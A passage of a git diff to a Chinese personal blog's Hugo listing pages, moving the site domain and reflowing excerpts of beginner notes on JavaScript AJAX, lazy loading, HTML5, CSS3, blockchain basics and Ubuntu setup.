-});</p></div><footer class=entry-footer><span title='2021-06-16 09:29:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript-IntersectionObserver构造函数笔记" href=https://xiaochenabc123.github.io/posts/16/></a></article><article class=post-entry><header class=entry-header><h2>简单理解区块链的基本原理</h2></header><div class=entry-content><p>注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币
+const lazyload = new IntersectionObserver((target)=>{ // 实例化 target.forEach((item) =>{ if (item.intersectionRatio){ // 当目标可视 item.target.src = item.target.alt; // 进行属性值覆盖 lazyload.unobserve(item.target) // 停止观测 } }) },{ rootMargin: "100px" // 提前100px }); const imgs = document.querySelectorAll("img[alt]"); // 选择带有alt属性的img元素 imgs.forEach((item) => { lazyload.observe(item) // 开始观测 });</p></div><footer class=entry-footer><span title='2021-06-16 09:29:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript-IntersectionObserver构造函数笔记" href=https://chenjunlinabc.github.io/posts/16/></a></article><article class=post-entry><header class=entry-header><h2>简单理解区块链的基本原理</h2></header><div class=entry-content><p>注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币
 1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)
 在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值
 区块链技术诞生于比特币，而比特币的诞生又来源于一位叫中本聪的一篇文章（比特币：一种点对点的电子现金系统）
@@ -151,26 +136,10 @@
 软分叉：区块链发生改变，但是不会像硬分叉那样影响没有更新的节点，旧节点会兼容新节点，但是新节点不兼容旧节点而已
 解决分叉的方法就是所有矿工都遵从同样的机制（升级机制，保证机制为最新），而且那些没有遵从的就会发生分叉
 最经典的例子就是拜占庭将军问题
-主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息...</p></div><footer class=entry-footer><span title='2021-06-16 09:27:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单理解区块链的基本原理" href=https://xiaochenabc123.github.io/posts/15/></a></article><article class=post-entry><header class=entry-header><h2>JavaScript-XMLHttpRequest对象笔记</h2></header><div class=entry-content><p>ajax请求是异步的，因此可以通过回调函数来处理响应
+主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息...</p></div><footer class=entry-footer><span title='2021-06-16 09:27:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单理解区块链的基本原理" href=https://chenjunlinabc.github.io/posts/15/></a></article><article class=post-entry><header class=entry-header><h2>JavaScript-XMLHttpRequest对象笔记</h2></header><div class=entry-content><p>ajax请求是异步的，因此可以通过回调函数来处理响应
 实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的
 初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：
-var xmlhttp = new XMLHttpRequest()
-xmlhttp.onreadystatechange = function(){
-if(xmlhttp.readyState == 4 && xmlhttp.status == 200){
-document.getElementById("app").innerHTML = xmlhttp.responseText
-}
-}
-console.log(xmlhttp.readyState) // 0
-xmlhttp.open("GET","https://httpbin.org/get",true)
-console.log(xmlhttp.readyState) // 1
-xmlhttp.onprogress =function(){
-console.log(xmlhttp.readyState) // 3
-}
-xmlhttp.onload = function(){
-console.log(xmlhttp.readyState) // 4
-}
-xmlhttp.send();
-XMLHttpReques实例的属性
+var xmlhttp = new XMLHttpRequest() xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4 && xmlhttp.status == 200){ document.getElementById("app").innerHTML = xmlhttp.responseText } } console.log(xmlhttp.readyState) // 0 xmlhttp.open("GET","https://httpbin.org/get",true) console.log(xmlhttp.readyState) // 1 xmlhttp.onprogress =function(){ console.log(xmlhttp.readyState) // 3 } xmlhttp.onload = function(){ console.log(xmlhttp.readyState) // 4 } xmlhttp.send(); XMLHttpReques实例的属性
 XMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：
 状态0：已被实例化，但是未调用open()方法 状态1：open()方法已被调用（连接） 状态2：send()方法已被调用（请求） 状态3：请求处理中 状态4：请求完毕，且响应已就绪
 XMLHttpReques.onreadystatechange：该属性对应了一个回调函数，当XMLHttpRequest.readyState属性发生改变时，该回调函数就会被调用，例子如上面所示
@@ -188,8 +157,8 @@
 XMLHttpRequest.status：该属性会返回响应中的http状态码，如果请求没有完成，那么值为0，如果出错也是为0
 XMLHttpRequest.timeout：该属性会返回一个值，该值为请求被自动终止前所消耗的毫秒数（默认为0，则表示没有超时）
 XMLHttpRequest.upload：该属性是用于表示上传的进度，可搭配事件监听器来追踪进度，例如：
-onloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）...</p></div><footer class=entry-footer><span title='2021-06-16 09:25:49 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript-XMLHttpRequest对象笔记" href=https://xiaochenabc123.github.io/posts/14/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/21/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/23/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+onloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）...</p></div><footer class=entry-footer><span title='2021-06-16 09:25:49 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript-XMLHttpRequest对象笔记" href=https://chenjunlinabc.github.io/posts/14/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/21/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/23/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/23/index.html b/page/23/index.html
index 04f3bbc1..7098b338 100644
--- a/page/23/index.html
+++ b/page/23/index.html
@@ -1,16 +1,5 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>jQuery-ajax()方法笔记</h2></header><div class=entry-content><p>ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
-$(document).ready(function(){
-$("button").click(function(){
-$.ajax({
-type: "GET",
-url: "https://httpbin.org/get",
-success: function(getdata){
-console.log(getdata)
-}
-})
-})
-});
-参数
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>jQuery-ajax()方法笔记</h2></header><div class=entry-content><p>ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
+$(document).ready(function(){ $("button").click(function(){ $.ajax({ type: "GET", url: "https://httpbin.org/get", success: function(getdata){ console.log(getdata) } }) }) }); 参数
 url：指定发送请求的URL，默认是当前页面
 type：指定请求方式（GET或者POST）
 success：当请求成功时执行的函数
@@ -34,7 +23,7 @@
 traditional：指定是否使用传统的方式来序列化数据
 username：指定响应http访问认证请求的用户名
 password：指定响应http访问认证请求的密码
-xhr：用于重写或者增强XMLHttpRequest对象的函数</p></div><footer class=entry-footer><span title='2021-06-16 09:24:37 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to jQuery-ajax()方法笔记" href=https://xiaochenabc123.github.io/posts/13/></a></article><article class=post-entry><header class=entry-header><h2>html5学习笔记</h2></header><div class=entry-content><p>HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入
+xhr：用于重写或者增强XMLHttpRequest对象的函数</p></div><footer class=entry-footer><span title='2021-06-16 09:24:37 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to jQuery-ajax()方法笔记" href=https://chenjunlinabc.github.io/posts/13/></a></article><article class=post-entry><header class=entry-header><h2>html5学习笔记</h2></header><div class=entry-content><p>HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入
 HTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML
 而HTML5是一个标准，指的是第五代HTML标准
 HTML5主要的新特性：
@@ -67,42 +56,22 @@
 要注意可以改变样式的标签不一定是有居于语义的
 在没有出现语义元素前，几乎都是使用div或者span，加类加id
 没有语义的元素最适合当容器使用了
-常用的非语义元素有&lt;div>和&lt;span>
-常用的语义元素有&lt;header>和&lt;footer>
-&lt;header>：页眉，一般包括网站logo，主导航，搜索框等；
-&lt;nav>：导航，链接；
-&lt;main>：定义文章的主要内容，一个页面只能使用一次；
-&lt;article>：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分；
-&lt;section>：定义内容的节（段）；
-&lt;footer>：页脚，一般包含版权信息或者链接等；
-&lt;aside>：侧边栏，一般作为附属信息，例如导航索引，广告等；
-meta viewport
+常用的非语义元素有&lt;div>和&lt;span> 常用的语义元素有&lt;header>和&lt;footer> &lt;header>：页眉，一般包括网站logo，主导航，搜索框等； &lt;nav>：导航，链接； &lt;main>：定义文章的主要内容，一个页面只能使用一次； &lt;article>：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分； &lt;section>：定义内容的节（段）； &lt;footer>：页脚，一般包含版权信息或者链接等； &lt;aside>：侧边栏，一般作为附属信息，例如导航索引，广告等； meta viewport
 viewport 是指 web 页面上的可见区域
-&lt;meta name="viewport" content="width=device-width, initial-scale=1.0">
-device-width指设备的理想宽度,不同的设备 device-width 是不一样的
+&lt;meta name="viewport" content="width=device-width, initial-scale=1.0"> device-width指设备的理想宽度,不同的设备 device-width 是不一样的
 nitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放
 maximum-scale=1.0 是指最大缩放大小是1
 标签使用&lt;和>括起来，例如&lt;div>
 html标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/
 例如： html不区分大小写。所以&lt;DIV>和&lt;div>作用一样。建议使用小写
-&lt;!DOCTYPE html>声明这是一个html5文件，声明位于&lt;html>前面
-&lt;html> 标识HTML文档的开始
-&lt;head>表明一些和html文档有关的信息，例如title
-&lt;body>html文档的主体
-&lt;!...</p></div><footer class=entry-footer><span title='2021-06-16 09:22:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to html5学习笔记" href=https://xiaochenabc123.github.io/posts/12/></a></article><article class=post-entry><header class=entry-header><h2>css3学习笔记</h2></header><div class=entry-content><p>盒子模型
+&lt;!DOCTYPE html>声明这是一个html5文件，声明位于&lt;html>前面 &lt;html> 标识HTML文档的开始 &lt;head>表明一些和html文档有关的信息，例如title &lt;body>html文档的主体 &lt;!...</p></div><footer class=entry-footer><span title='2021-06-16 09:22:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to html5学习笔记" href=https://chenjunlinabc.github.io/posts/12/></a></article><article class=post-entry><header class=entry-header><h2>css3学习笔记</h2></header><div class=entry-content><p>盒子模型
 盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model
 外边距（margin）：一般用于控制同辈元素之间的间距
 边框（border）：在内边距和内容之外的边框
 内边距（padding）：内边框是用于控制内容的距离
 内容（content）：内容，一般为文本和图像
 例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子
-div{
-width: 100px;
-borde: 10px solid red;
-padding: 10px;
-margin: 10px;
-}
-top，bottom，left，right分别代表了上，下，左，右
+div{ width: 100px; borde: 10px solid red; padding: 10px; margin: 10px; } top，bottom，left，right分别代表了上，下，左，右
 或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值
 有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下
 这个盒子大小应该是内容的宽度+内边距+边框+外边距
@@ -129,7 +98,7 @@
 绝对定位元素 position (absolute、fixed)
 display 为 inline-block、table-cells、flex
 overflow 除了 visible 以外的值 (hidden、auto、scroll)
-BFC的特性：...</p></div><footer class=entry-footer><span title='2021-06-16 09:21:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css3学习笔记" href=https://xiaochenabc123.github.io/posts/11/></a></article><article class=post-entry><header class=entry-header><h2>原生js实现瀑布流布局</h2></header><div class=entry-content><p>瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位
+BFC的特性：...</p></div><footer class=entry-footer><span title='2021-06-16 09:21:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css3学习笔记" href=https://chenjunlinabc.github.io/posts/11/></a></article><article class=post-entry><header class=entry-header><h2>原生js实现瀑布流布局</h2></header><div class=entry-content><p>瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位
 首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度
 获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth
 获取页面的高度：window.innerHeight或者document.documentElement.clientHeight或者document.body.clientHeight
@@ -142,39 +111,14 @@
 因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度
 为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)
 例如：
-var data = document.getElementsByClassName('imgs');
-function datamain(){
-var datawidtha = window.innerWidth;
-var datawidthb = Math.floor(data[0].offsetWidth);
-var dataab = Math.floor(datawidtha/datawidthb);
-var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1))
-var arr = [];
-for(var i=0;i&lt;data.length;i++){
-if(i&lt;dataab){
-data[i].style.top = 0;
-data[i].style.left = (datawidthb+ints) * i + "px";
-arr.push(data[i].offsetHeight);
-}else{
-var datamin = arr[0];
-var index = 0;
-for(var a = 0; a&lt;arr....</p></div><footer class=entry-footer><span title='2021-06-16 09:14:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 原生js实现瀑布流布局" href=https://xiaochenabc123.github.io/posts/10/></a></article><article class=post-entry><header class=entry-header><h2>linux系统的日常使用</h2></header><div class=entry-content><p>linux发行版有很多，这里使用的是Ubuntu
+var data = document.getElementsByClassName('imgs'); function datamain(){ var datawidtha = window.innerWidth; var datawidthb = Math.floor(data[0].offsetWidth); var dataab = Math.floor(datawidtha/datawidthb); var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1)) var arr = []; for(var i=0;i&lt;data.length;i++){ if(i&lt;dataab){ data[i].style.top = 0; data[i].style.left = (datawidthb+ints) * i + "px"; arr.push(data[i].offsetHeight); }else{ var datamin = arr[0]; var index = 0; for(var a = 0; a&lt;arr....</p></div><footer class=entry-footer><span title='2021-06-16 09:14:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 原生js实现瀑布流布局" href=https://chenjunlinabc.github.io/posts/10/></a></article><article class=post-entry><header class=entry-header><h2>linux系统的日常使用</h2></header><div class=entry-content><p>linux发行版有很多，这里使用的是Ubuntu
 个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）
 有关于树莓派的看这个
 修改为国内源
 nano /etc/apt/sources.list
 替换内容为
-# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
